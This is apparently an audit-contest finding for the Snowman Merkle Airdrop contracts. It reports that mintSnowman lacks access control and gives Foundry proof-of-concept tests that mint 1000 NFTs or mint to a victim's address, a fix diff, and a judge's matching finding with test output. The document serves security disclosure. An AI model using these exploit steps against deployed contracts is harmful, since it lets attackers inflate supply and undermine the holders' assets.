Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`Snowman::mintSnowman` has no access control, letting anyone mint unlimited NFTs to any address, bypassing the Merkle airdrop entirely

Root + Impact

Description

  • Snowman NFTs are intended to be distributed exclusively through the SnowmanAirdrop contract, which verifies a Merkle proof (or an EIP-712 signature on the recipient's behalf) tying each claim to the recipient's staked Snow token balance.

  • Snowman::mintSnowman is external with no caller restriction, no Merkle-proof/signature check, no supply cap, and no payment check, so anyone can call it directly to mint an arbitrary number of NFTs to any address, completely bypassing the airdrop.

function mintSnowman(address receiver, uint256 amount) external {
@> // no access control: anyone can call this and mint to any `receiver`
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Will always occur — the function is public with no gating, so every call succeeds regardless of caller or state.

Impact:

  • Unlimited free minting: the entire point of the airdrop — NFTs earned in proportion to staked Snow — is void, since any address can mint as many Snowman NFTs as it wants at zero cost.

  • Forced/unsolicited minting to third parties: an attacker can mint NFTs directly into any victim's wallet without their consent, inflating their balance/token IDs and potentially interfering with off-chain indexers, allowlists, or downstream logic that assumes balanceOf/ownership was earned through the legitimate airdrop flow.

  • Total supply and token IDs become fully attacker-controlled, breaking any invariant the protocol or its integrations rely on regarding how Snowman tokens are distributed.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "../script/DeploySnowman.s.sol";
contract TestVulnerability is Test {
Snowman nft;
DeploySnowman deployer;
address attacker;
address victim;
function setUp() public {
deployer = new DeploySnowman();
nft = deployer.run();
attacker = makeAddr("attacker");
victim = makeAddr("victim");
}
function testMintToThirdPerson() public {
assert(nft.balanceOf(victim) == 0);
// Attacker mints NFTs directly to victim's address, without victim's
// consent and without going through the Merkle airdrop / any access control
vm.prank(attacker);
nft.mintSnowman(victim, 1);
// Victim now owns an NFT they never asked for
assert(nft.balanceOf(victim) == 1);
assert(nft.ownerOf(0) == victim);
}
function testMintUnlimitedSupply() public {
assert(nft.balanceOf(attacker) == 0);
// Attacker mints an arbitrary amount of NFTs to themselves for free,
// since mintSnowman has no access control, supply cap, or payment check
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
assert(nft.balanceOf(attacker) == 1000);
assert(nft.getTokenCounter() == 1000);
}
}

Recommended Mitigation

+ address private immutable i_airdrop;
+ modifier onlyAirdrop() {
+ if (msg.sender != i_airdrop) revert SM__NotAllowed();
+ _;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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